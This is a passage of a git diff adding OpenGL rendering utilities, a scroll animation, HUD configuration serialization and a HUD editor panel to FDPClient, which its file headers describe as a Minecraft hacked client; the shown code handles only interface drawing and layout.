.48) { + glVertex2d(size / 2f, interpolate(size / 2.0, 0.0, animation.getOutput())); + } + glVertex2d(size, interpolation); + + })); + glTranslatef(-x, -y, 0); + } + public static Color interpolateColorC(Color color1, Color color2, float amount) { + amount = Math.min(1, Math.max(0, amount)); + return new Color(interpolateInt(color1.getRed(), color2.getRed(), amount), + interpolateInt(color1.getGreen(), color2.getGreen(), amount), + interpolateInt(color1.getBlue(), color2.getBlue(), amount), + interpolateInt(color1.getAlpha(), color2.getAlpha(), amount)); + } + + public static int interpolateInt(int oldValue, int newValue, double interpolationValue){ + return interpolate(oldValue, newValue, (float) interpolationValue).intValue(); + } + public static Double interpolate(double oldValue, double newValue, double interpolationValue){ + return (oldValue + (newValue - oldValue) * interpolationValue); + } + + public static boolean isHovering(float x, float y, float width, float height, int mouseX, int mouseY) { + return mouseX >= x && mouseY >= y && mouseX < x + width && mouseY < y + height; + } + public static Color applyOpacity(Color color, float opacity) { + opacity = Math.min(1, Math.max(0, opacity)); + return new Color(color.getRed(), color.getGreen(), color.getBlue(), (int) (color.getAlpha() * opacity)); + } + public static int applyOpacity(int color, float opacity) { + Color old = new Color(color); + return applyOpacity(old, opacity).getRGB(); + } + // TODO: Replace this with a shader as GL_POINTS is not consistent with gui scales + public static void drawGoodCircle(double x, double y, float radius, int color) { + color(color); + GLUtil.setup2DRendering(() -> { + glEnable(GL_POINT_SMOOTH); + glHint(GL_POINT_SMOOTH_HINT, GL_NICEST); + glPointSize(radius * (2 * mc.gameSettings.guiScale)); + GLUtil.render(GL_POINTS, () -> glVertex2d(x, y)); + }); + } + // animation for sliders and stuff + public static double animate(double endPoint, double current, double speed) { + boolean shouldContinueAnimation = endPoint > current; + if (speed < 0.0D) { + speed = 0.0D; + } else if (speed > 1.0D) { + speed = 1.0D; + } + + double dif = Math.max(endPoint, current) - Math.min(endPoint, current); + double factor = dif * speed; + return current + (shouldContinueAnimation ? factor : -factor); + } + public static void fakeCircleGlow(float posX, float posY, float radius, Color color, float maxAlpha) { + setAlphaLimit(0); + glShadeModel(GL_SMOOTH); + GLUtil.setup2DRendering(() -> GLUtil.render(GL_TRIANGLE_FAN, () -> { + color(color.getRGB(), maxAlpha); + glVertex2d(posX, posY); + color(color.getRGB(), 0); + for (int i = 0; i <= 100; i++) { + double angle = (i * .06283) + 3.1415; + double x2 = Math.sin(angle) * radius; + double y2 = Math.cos(angle) * radius; + glVertex2d(posX + x2, posY + y2); + } + })); + glShadeModel(GL_FLAT); + setAlphaLimit(1); + } + + public static Color brighter(Color color, float FACTOR) { + int r = color.getRed(); + int g = color.getGreen(); + int b = color.getBlue(); + int alpha = color.getAlpha(); + + /* From 2D group: + * 1. black.brighter() should return grey + * 2. applying brighter to blue will always return blue, brighter + * 3. non pure color (non zero rgb) will eventually return white + */ + int i = (int) (1.0 / (1.0 - FACTOR)); + if (r == 0 && g == 0 && b == 0) { + return new Color(i, i, i, alpha); + } + if (r > 0 && r < i) r = i; + if (g > 0 && g < i) g = i; + if (b > 0 && b < i) b = i; + + return new Color(Math.min((int) (r / FACTOR), 255), + Math.min((int) (g / FACTOR), 255), + Math.min((int) (b / FACTOR), 255), + alpha); + } + // Scales the data that you put in the runnable + public static void scale(float x, float y, float scale, Runnable data) { + GL11.glPushMatrix(); + GL11.glTranslatef(x, y, 0); + GL11.glScalef(scale, scale, 1); + GL11.glTranslatef(-x, -y, 0); + data.run(); + GL11.glPopMatrix(); + } + + // Sometimes colors get messed up in for loops, so we use this method to reset it to allow new colors to be used + public static void resetColor() { + GlStateManager.color(1, 1, 1, 1); + } + + public static void drawRect2(double x, double y, double width, double height, int color) { + resetColor(); + GLUtil.setup2DRendering(() -> GLUtil.render(GL11.GL_QUADS, () -> { + color(color); + GL11.glVertex2d(x, y); + GL11.glVertex2d(x, y + height); + GL11.glVertex2d(x + width, y + height); + GL11.glVertex2d(x + width, y); + })); + } + // This method colors the next avalible texture with a specified alpha value ranging from 0-1 + public static void color(int color, float alpha) { + float r = (float) (color >> 16 & 255) / 255.0F; + float g = (float) (color >> 8 & 255) / 255.0F; + float b = (float) (color & 255) / 255.0F; + GlStateManager.color(r, g, b, alpha); + } + + // This will set the alpha limit to a specified value ranging from 0-1 + public static void setAlphaLimit(float limit) { + GlStateManager.enableAlpha(); + GlStateManager.alphaFunc(GL_GREATER, (float) (limit * .01)); + } + + // Colors the next texture without a specified alpha value + public static void color(int color) { + color(color, (float) (color >> 24 & 255) / 255.0F); + } +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/GLUtil.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/GLUtil.java new file mode 100644 index 0000000..566ab04 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/GLUtil.java @@ -0,0 +1,29 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.render; + +import net.minecraft.client.renderer.GlStateManager; + +import static org.lwjgl.opengl.GL11.*; + +public class GLUtil { + + public static void render(int mode, Runnable render){ + glBegin(mode); + render.run(); + glEnd(); + } + + public static void setup2DRendering(Runnable f) { + glEnable(GL_BLEND); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glDisable(GL_TEXTURE_2D); + f.run(); + glEnable(GL_TEXTURE_2D); + GlStateManager.disableBlend(); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/GuiEvents.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/GuiEvents.java new file mode 100644 index 0000000..f119a4e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/GuiEvents.java @@ -0,0 +1,14 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.render; + +public enum GuiEvents { + + DRAW, + CLICK, + RELEASE + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/Scroll.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/Scroll.java new file mode 100644 index 0000000..585e9d5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/Scroll.java @@ -0,0 +1,51 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.render; + +import lombok.Getter; +import lombok.Setter; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Animation; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Direction; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.impl.SmoothStepAnimation; +import org.lwjgl.input.Mouse; + +/** + * @author cedo + * @author Zywl + */ +public class Scroll { + + @Getter + @Setter + public float maxScroll = Float.MAX_VALUE, minScroll = 0, rawScroll; + public float scroll; + private Animation scrollAnimation = new SmoothStepAnimation(0, 0, Direction.BACKWARDS); + + public void onScroll(int ms) { + scroll = (float) (rawScroll - scrollAnimation.getOutput()); + rawScroll += Mouse.getDWheel() / 4f; + rawScroll = Math.max(Math.min(minScroll, rawScroll), -maxScroll); + scrollAnimation = new SmoothStepAnimation(ms, rawScroll - scroll, Direction.BACKWARDS); + } + + public boolean isScrollAnimationDone() { + return scrollAnimation.isDone(); + } + + public double getScroll() { + scroll = (float) (rawScroll - scrollAnimation.getOutput()); + return scroll; + } + + public void setMinScroll(float val) { + minScroll = val; + } + + public void setMaxScroll(float val) { + maxScroll = val; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/StencilUtil.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/StencilUtil.java new file mode 100644 index 0000000..0fa5987 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/render/StencilUtil.java @@ -0,0 +1,70 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.render; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.shader.Framebuffer; +import org.lwjgl.opengl.EXTFramebufferObject; +import org.lwjgl.opengl.EXTPackedDepthStencil; + +import static org.lwjgl.opengl.GL11.*; + +public class StencilUtil { + static final Minecraft mc = Minecraft.getMinecraft(); + + public static void checkSetupFBO(Framebuffer framebuffer) { + if (framebuffer != null) { + if (framebuffer.depthBuffer > -1) { + setupFBO(framebuffer); + framebuffer.depthBuffer = -1; + } + } + } + + /** + * @param framebuffer + * @implNote Sets up the Framebuffer for Stencil use + */ + + public static void setupFBO(Framebuffer framebuffer) { + EXTFramebufferObject.glDeleteRenderbuffersEXT(framebuffer.depthBuffer); + final int stencilDepthBufferID = EXTFramebufferObject.glGenRenderbuffersEXT(); + EXTFramebufferObject.glBindRenderbufferEXT(EXTFramebufferObject.GL_RENDERBUFFER_EXT, stencilDepthBufferID); + EXTFramebufferObject.glRenderbufferStorageEXT(EXTFramebufferObject.GL_RENDERBUFFER_EXT, EXTPackedDepthStencil.GL_DEPTH_STENCIL_EXT, mc.displayWidth, mc.displayHeight); + EXTFramebufferObject.glFramebufferRenderbufferEXT(EXTFramebufferObject.GL_FRAMEBUFFER_EXT, EXTFramebufferObject.GL_STENCIL_ATTACHMENT_EXT, EXTFramebufferObject.GL_RENDERBUFFER_EXT, stencilDepthBufferID); + EXTFramebufferObject.glFramebufferRenderbufferEXT(EXTFramebufferObject.GL_FRAMEBUFFER_EXT, EXTFramebufferObject.GL_DEPTH_ATTACHMENT_EXT, EXTFramebufferObject.GL_RENDERBUFFER_EXT, stencilDepthBufferID); + } + + /** + * @implNote Initializes the Stencil Buffer to write to + */ + public static void initStencilToWrite() { + //init + mc.getFramebuffer().bindFramebuffer(false); + checkSetupFBO(mc.getFramebuffer()); + glClear(GL_STENCIL_BUFFER_BIT); + glEnable(GL_STENCIL_TEST); + + glStencilFunc(GL_ALWAYS, 1, 1); + glStencilOp(GL_REPLACE, GL_REPLACE, GL_REPLACE); + glColorMask(false, false, false, false); + } + + /** + * @param ref (usually 1) + * @implNote Reads the Stencil Buffer and stencils it onto everything until + * @see StencilUtil#uninitStencilBuffer() is called + */ + public static void readStencilBuffer(int ref) { + glColorMask(true, true, true, true); + glStencilFunc(GL_EQUAL, ref, 1); + glStencilOp(GL_KEEP, GL_KEEP, GL_KEEP); + } + + public static void uninitStencilBuffer() { + glDisable(GL_STENCIL_TEST); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/options/LegacyUiLaunchOption.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/options/LegacyUiLaunchOption.kt new file mode 100644 index 0000000..b4e3395 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/options/LegacyUiLaunchOption.kt @@ -0,0 +1,39 @@ +package net.ccbluex.liquidbounce.ui.client.gui.options + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.client.gui.EnumLaunchFilter +import net.ccbluex.liquidbounce.ui.client.gui.LaunchFilterInfo +import net.ccbluex.liquidbounce.ui.client.gui.LaunchOption +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule +import net.ccbluex.liquidbounce.ui.client.gui.ClickGuiConfig +import net.ccbluex.liquidbounce.ui.client.gui.GuiMainMenu +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.ClickGui +import java.io.File + +@LaunchFilterInfo([EnumLaunchFilter.MODERN_UI]) +object modernuiLaunchOption : LaunchOption() { + + @JvmStatic + lateinit var clickGui: ClickGui + + @JvmStatic + lateinit var clickGuiConfig: ClickGuiConfig + + override fun start() { + FDPClient.mainMenu = GuiMainMenu() + FDPClient.moduleManager.registerModule(ClickGUIModule) + + clickGui = ClickGui() + clickGuiConfig = ClickGuiConfig( + File( + FDPClient.fileManager.dir, + "clickgui.json" + ) + ) + FDPClient.fileManager.loadConfig(clickGuiConfig) + } + + override fun stop() { + FDPClient.fileManager.saveConfig(clickGuiConfig) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/Config.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/Config.kt new file mode 100644 index 0000000..d1aa325 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/Config.kt @@ -0,0 +1,102 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud + +import com.google.gson.Gson +import com.google.gson.GsonBuilder +import com.google.gson.JsonArray +import com.google.gson.JsonObject +import net.ccbluex.liquidbounce.ui.client.hud.HUD.Companion.createDefault +import net.ccbluex.liquidbounce.ui.client.hud.HUD.Companion.elements +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.FontValue + +class Config { + + private var jsonArray = JsonArray() + + constructor(config: String) { + jsonArray = Gson().fromJson(config, JsonArray::class.java) + } + + constructor(hud: HUD) { + for (element in hud.elements) { + val elementObject = JsonObject() + elementObject.addProperty("Type", element.name) + elementObject.addProperty("X", element.x) + elementObject.addProperty("Y", element.y) + elementObject.addProperty("Scale", element.scale) + elementObject.addProperty("HorizontalFacing", element.side.horizontal.sideName) + elementObject.addProperty("VerticalFacing", element.side.vertical.sideName) + + for (value in element.values) + elementObject.add(value.name, value.toJson()) + + jsonArray.add(elementObject) + } + } + + fun toJson(): String = GsonBuilder().setPrettyPrinting().create().toJson(jsonArray) + + fun toHUD(): HUD { + val hud = HUD() + + try { + for (jsonObject in jsonArray) { + try { + if (jsonObject !is JsonObject) { + continue + } + + if (!jsonObject.has("Type")) { + continue + } + + val type = jsonObject["Type"].asString + + for (elementClass in elements) { + val classType = elementClass.getAnnotation(ElementInfo::class.java).name + + if (classType == type) { + val element = elementClass.newInstance() + + element.x = jsonObject["X"].asDouble + element.y = jsonObject["Y"].asDouble + element.scale = jsonObject["Scale"].asFloat + element.side = Side( + Side.Horizontal.getByName(jsonObject["HorizontalFacing"].asString) ?: Side.Horizontal.RIGHT, + Side.Vertical.getByName(jsonObject["VerticalFacing"].asString) ?: Side.Vertical.UP + ) + + for (value in element.values) { + if (jsonObject.has(value.name)) { + value.fromJson(jsonObject[value.name]) + } + } + + // Support for old HUD files + if (jsonObject.has("font")) { + element.values.find { it is FontValue }?.fromJson(jsonObject["font"]) + } + + hud.addElement(element) + break + } + } + } catch (e: Exception) { + ClientUtils.logError("Error while loading custom hud element from config.", e) + } + } + } catch (e: Exception) { + ClientUtils.logError("Error while loading custom hud config.", e) + return createDefault() + } + + return hud + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/HUD.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/HUD.kt new file mode 100644 index 0000000..190035b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/HUD.kt @@ -0,0 +1,215 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud + +import net.ccbluex.liquidbounce.injection.access.StaticStorage +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.* +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.entity.player.EntityPlayer +import org.lwjgl.opengl.GL11 +import kotlin.math.max +import kotlin.math.min + +open class HUD : MinecraftInstance() { + + val elements = mutableListOf<Element>() + val notifications = mutableListOf<Notification>() + + companion object { + + val elements = ClassUtils.resolvePackage("${HUD::class.java.`package`.name}.element.elements", Element::class.java) + .toTypedArray() + + /** + * Create default HUD + */ + fun createDefault(): HUD { + val text1 = Text(x = 5.0, y = 8.0) + text1.displayString.set("FDPClient") + text1.colorModeValue.set("Rainbow") + text1.rectValue.set("Logo") + text1.rectColorModeValue.set("Rainbow") + + return HUD() + .addElement(Arraylist()) + .addElement(ScoreboardElement()) + .addElement(Armor()) + .addElement(Notifications()) + .addElement(Targets()) + } + } + + /** + * Render all elements + */ + + fun handleDamage(ent: EntityPlayer) { + for (element in elements) { + if (element.info.retrieveDamage) + element.handleDamage(ent) + } + } + + fun render(designer: Boolean, partialTicks: Float) { + for (element in elements) { + GL11.glPushMatrix() + GL11.glScalef(element.scale, element.scale, element.scale) + GL11.glTranslated(element.renderX, element.renderY, 0.0) + + try { + if (element.info.blur) { + element.drawBoarderBlur() + } + + element.border = element.drawElement(partialTicks) + + if (designer) { + element.border?.draw() + } + } catch (ex: Exception) { + ClientUtils.logError("Something went wrong while drawing ${element.name} element in HUD.", ex) + } + + GL11.glPopMatrix() + } + } + + /** + * Update all elements + */ + fun update() { + for (element in elements) + element.updateElement() + } + + /** + * Handle mouse click + */ + fun handleMouseClick(mouseX: Int, mouseY: Int, button: Int) { + for (element in elements) + element.handleMouseClick((mouseX / element.scale) - element.renderX, (mouseY / element.scale) - + element.renderY, button) + + if (button == 0) { + for (element in elements.reversed()) { + if (!element.isInBorder((mouseX / element.scale) - element.renderX, + (mouseY / element.scale) - element.renderY)) { + continue + } + + element.drag = true + elements.remove(element) + elements.add(element) + break + } + } + } + + /** + * Handle released mouse key + */ + fun handleMouseReleased() { + for (element in elements) + element.drag = false + } + + /** + * Handle mouse move + */ + fun handleMouseMove(mouseX: Int, mouseY: Int) { + if (mc.currentScreen !is GuiHudDesigner) { + return + } + + val scaledResolution = StaticStorage.scaledResolution + + for (element in elements) { + val scaledX = mouseX / element.scale + val scaledY = mouseY / element.scale + val prevMouseX = element.prevMouseX + val prevMouseY = element.prevMouseY + + element.prevMouseX = scaledX + element.prevMouseY = scaledY + + if (element.drag) { + val moveX = scaledX - prevMouseX + val moveY = scaledY - prevMouseY + + if (moveX == 0F && moveY == 0F) { + continue + } + + val border = element.border ?: continue + + val minX = min(border.x, border.x2) + 1 + val minY = min(border.y, border.y2) + 1 + + val maxX = max(border.x, border.x2) - 1 + val maxY = max(border.y, border.y2) - 1 + + val width = scaledResolution.scaledWidth / element.scale + val height = scaledResolution.scaledHeight / element.scale + + if ((element.renderX + minX + moveX >= 0.0 || moveX > 0) && (element.renderX + maxX + moveX <= width || moveX < 0)) { + element.renderX = moveX.toDouble() + } + if ((element.renderY + minY + moveY >= 0.0 || moveY > 0) && (element.renderY + maxY + moveY <= height || moveY < 0)) { + element.renderY = moveY.toDouble() + } + } + } + } + + /** + * Handle incoming key + */ + fun handleKey(c: Char, keyCode: Int) { + for (element in elements) + element.handleKey(c, keyCode) + } + + /** + * Add [element] to HUD + */ + fun addElement(element: Element): HUD { + elements.add(element) + return this + } + + /** + * Remove [element] from HUD + */ + fun removeElement(element: Element): HUD { + element.destroyElement() + elements.remove(element) + return this + } + + /** + * Clear all elements + */ + fun clearElements() { + for (element in elements) + element.destroyElement() + + elements.clear() + } + + /** + * Add [notification] + */ + fun addNotification(notification: Notification) = elements.any { it is Notifications } && notifications.add(notification) + + /** + * Remove [notification] + */ + fun removeNotification(notification: Notification) = notifications.remove(notification) +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/designer/EditorPanel.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/designer/EditorPanel.kt new file mode 100644 index 0000000..7d7ff72 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/designer/EditorPanel.kt @@ -0,0 +1,473 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.designer + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.injection.access.StaticStorage +import net.ccbluex.liquidbounce.ui.client.hud.HUD.Companion.createDefault +import net.ccbluex.liquidbounce.ui.client.hud.HUD.Companion.elements +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule +import net.minecraft.client.gui.Gui +import net.minecraft.util.MathHelper +import org.lwjgl.input.Mouse +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class EditorPanel(private val hudDesigner: GuiHudDesigner, var x: Int, var y: Int) : MinecraftInstance() { + + var width = 80 + private set + var height = 20 + private set + var realHeight = 20 + private set + + private var drag = false + private var dragX = 0 + private var dragY = 0 + + private var mouseDown = false + + private var scroll = 0 + + var create = false + private var currentElement: Element? = null + + /** + * Draw editor panel to screen + * + * @param mouseX + * @param mouseY + * @param wheel + */ + fun drawPanel(mouseX: Int, mouseY: Int, wheel: Int) { + // Drag panel + drag(mouseX, mouseY) + + // Set current element + if (currentElement != hudDesigner.selectedElement) { + scroll = 0 + } + currentElement = hudDesigner.selectedElement + + // Scrolling start + var currMouseY = mouseY + val shouldScroll = realHeight > 200 + + if (shouldScroll) { + GL11.glPushMatrix() + RenderUtils.makeScissorBox(x.toFloat(), y + 1F, x + width.toFloat(), y + 200F) + GL11.glEnable(GL11.GL_SCISSOR_TEST) + + if (y + 200 < currMouseY) { + currMouseY = -1 + } + + if (mouseX >= x && mouseX <= x + width && currMouseY >= y && currMouseY <= y + 200 && Mouse.hasWheel()) { + if (wheel < 0 && -scroll + 205 <= realHeight) { + scroll -= 12 + } else if (wheel > 0) { + scroll += 12 + if (scroll > 0) scroll = 0 + } + } + } + + // Draw panel + RenderUtils.drawRoundedCornerRect(x.toFloat()-2, y + 10F, x + width.toFloat()+2, y + realHeight.toFloat()+2,3f, Color(0, 0, 0, 150).rgb) + when { + create -> drawCreate(mouseX, currMouseY) + currentElement != null -> drawEditor(mouseX, currMouseY) + else -> drawSelection(mouseX, currMouseY) + } + + // Scrolling end + if (shouldScroll) { + Gui.drawRect(x + width - 5, y + 15, x + width - 2, y + 197, + Color(41, 41, 41).rgb) + + val v = 197 * (-scroll / (realHeight - 170F)) + RenderUtils.drawRect(x + width - 5F, y + 15 + v, x + width - 2F, y + 20 + v, + Color( + ClickGUIModule.colorRedValue.get(), ClickGUIModule.colorGreenValue.get(), ClickGUIModule.colorBlueValue.get()).rgb) + + GL11.glDisable(GL11.GL_SCISSOR_TEST) + GL11.glPopMatrix() + } + + // Save mouse states + mouseDown = Mouse.isButtonDown(0) + } + + /** + * Draw create panel + */ + private fun drawCreate(mouseX: Int, mouseY: Int) { + height = 15 + scroll + realHeight = 15 + width = 90 + + for (element in elements) { + val info = element.getAnnotation(ElementInfo::class.java) ?: continue + + val name = info.name + Fonts.font35.drawString(name, x + 2, y + height, Color.WHITE.rgb) + + val stringWidth = Fonts.font35.getStringWidth(name) + if (width < stringWidth + 8) { + width = stringWidth + 8 + } + + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && mouseY >= y + height && + mouseY <= y + height + 10) { + try { + val newElement = element.newInstance() + + if (newElement.createElement()) { + FDPClient.hud.addElement(newElement) + } + } catch (e: InstantiationException) { + e.printStackTrace() + } catch (e: IllegalAccessException) { + e.printStackTrace() + } + create = false + } + + height += 10 + realHeight += 10 + } + RenderUtils.drawRoundedCornerRect(x.toFloat()-4f, y-2F, x + width.toFloat()+4, y + 12F ,3f, Color(32,150,243, 255).rgb) + + //Gui.drawRect(x, y, x + width, y + 12, Color(0, 0, 0, 150).rgb) + Fonts.font35.drawString("§lCreate element", x + 2F, y + 3.5F, Color.WHITE.rgb) + } + + /** + * Draw selection panel + */ + private fun drawSelection(mouseX: Int, mouseY: Int) { + height = 15 + scroll + realHeight = 15 + width = 120 + + Fonts.font35.drawString("§lCreate element", x + 2, y + height, Color.WHITE.rgb) + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && mouseY >= y + height && + mouseY <= y + height + 10) { + create = true + } + + height += 10 + realHeight += 10 + + Fonts.font35.drawString("§lReset", x + 2, y + height, Color.WHITE.rgb) + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && mouseY >= y + height && + mouseY <= y + height + 10) { + FDPClient.hud = createDefault() + } + + height += 15 + realHeight += 15 + + Fonts.font35.drawString("§lAvailable Elements", x + 2, y + height, Color.WHITE.rgb) + height += 10 + realHeight += 10 + + for (element in FDPClient.hud.elements) { + Fonts.font35.drawString(element.name, x + 2, y + height, Color.WHITE.rgb) + + val stringWidth = Fonts.font35.getStringWidth(element.name) + if (width < stringWidth + 8) { + width = stringWidth + 8 + } + + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && mouseY >= y + height && + mouseY <= y + height + 10) { + hudDesigner.selectedElement = element + } + + height += 10 + realHeight += 10 + } + RenderUtils.drawRoundedCornerRect(x.toFloat()-4f, y-2F, x + width.toFloat()+4, y + 12F ,3f, Color(32,150,243, 255).rgb) + //Gui.drawRect(x, y, x + width, y + 12, Color(0, 0, 0, 150).rgb) + Fonts.font35.drawString("§lEditor", x + 2F, y + 3.5f, Color.WHITE.rgb) + } + + /** + * Draw editor panel + */ + private fun drawEditor(mouseX: Int, mouseY: Int) { + height = scroll + 15 + realHeight = 15 + + val prevWidth = width + width = 100 + + val element = currentElement ?: return + + // X + Fonts.font35.drawString("X: ${"%.2f".format(element.renderX)} (${"%.2f".format(element.x)})", x + 2, y + height, Color.WHITE.rgb) + height += 10 + realHeight += 10 + + // Y + Fonts.font35.drawString("Y: ${"%.2f".format(element.renderY)} (${"%.2f".format(element.y)})", x + 2, y + height, Color.WHITE.rgb) + height += 10 + realHeight += 10 + + // Scale + Fonts.font35.drawString("Scale: ${"%.2f".format(element.scale)}", x + 2, y + height, Color.WHITE.rgb) + height += 10 + realHeight += 10 + + // Horizontal + Fonts.font35.drawString("H:", x + 2, y + height, Color.WHITE.rgb) + Fonts.font35.drawString(element.side.horizontal.sideName, + x + 12, y + height, Color.GRAY.rgb) + + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && mouseY >= y + height && + mouseY <= y + height + 10) { + val values = Side.Horizontal.values() + val currIndex = values.indexOf(element.side.horizontal) + + val x = element.renderX + + element.side.horizontal = values[if (currIndex + 1 >= values.size) 0 else currIndex + 1] + element.x = when (element.side.horizontal) { + Side.Horizontal.LEFT -> x + Side.Horizontal.MIDDLE -> (StaticStorage.scaledResolution.scaledWidth / 2) - x + Side.Horizontal.RIGHT -> StaticStorage.scaledResolution.scaledWidth - x + } + } + + height += 10 + realHeight += 10 + + // Vertical + Fonts.font35.drawString("V:", x + 2, y + height, Color.WHITE.rgb) + Fonts.font35.drawString(element.side.vertical.sideName, + x + 12, y + height, Color.GRAY.rgb) + + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && mouseY >= y + height && mouseY <= y + height + 10) { + val values = Side.Vertical.values() + val currIndex = values.indexOf(element.side.vertical) + + val y = element.renderY + + element.side.vertical = values[if (currIndex + 1 >= values.size) 0 else currIndex + 1] + element.y = when (element.side.vertical) { + Side.Vertical.UP -> y + Side.Vertical.MIDDLE -> (StaticStorage.scaledResolution.scaledHeight / 2) - y + Side.Vertical.DOWN -> StaticStorage.scaledResolution.scaledHeight - y + } + } + + height += 10 + realHeight += 10 + + // Values + for (value in element.values.filter { it.displayable }) { + when (value) { + is BoolValue -> { + // Title + Fonts.font35.drawString(value.name, x + 2, y + height, if (value.get()) Color.WHITE.rgb else Color.GRAY.rgb) + + val stringWidth = Fonts.font35.getStringWidth(value.name) + if (width < stringWidth + 8) { + width = stringWidth + 8 + } + + // Toggle value + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && + mouseY >= y + height && mouseY <= y + height + 10) { + value.set(!value.get()) + } + + // Change pos + height += 10 + realHeight += 10 + } + + is FloatValue -> { + val current = value.get() + val min = value.minimum + val max = value.maximum + + // Title + val text = "${value.name}: §c${"%.2f".format(current)}" + + Fonts.font35.drawString(text, x + 2, y + height, Color.WHITE.rgb) + + val stringWidth = Fonts.font35.getStringWidth(text) + if (width < stringWidth + 8) { + width = stringWidth + 8 + } + + // Slider + RenderUtils.drawRect(x + 8F, y + height + 12F, x + prevWidth - 8F, y + height + 13F, Color.WHITE) + + // Slider mark + val sliderValue = x + ((prevWidth - 18F) * (current - min) / (max - min)) + RenderUtils.drawRect(8F + sliderValue, y + height + 9F, sliderValue + 11F, y + height + + 15F, Color( + 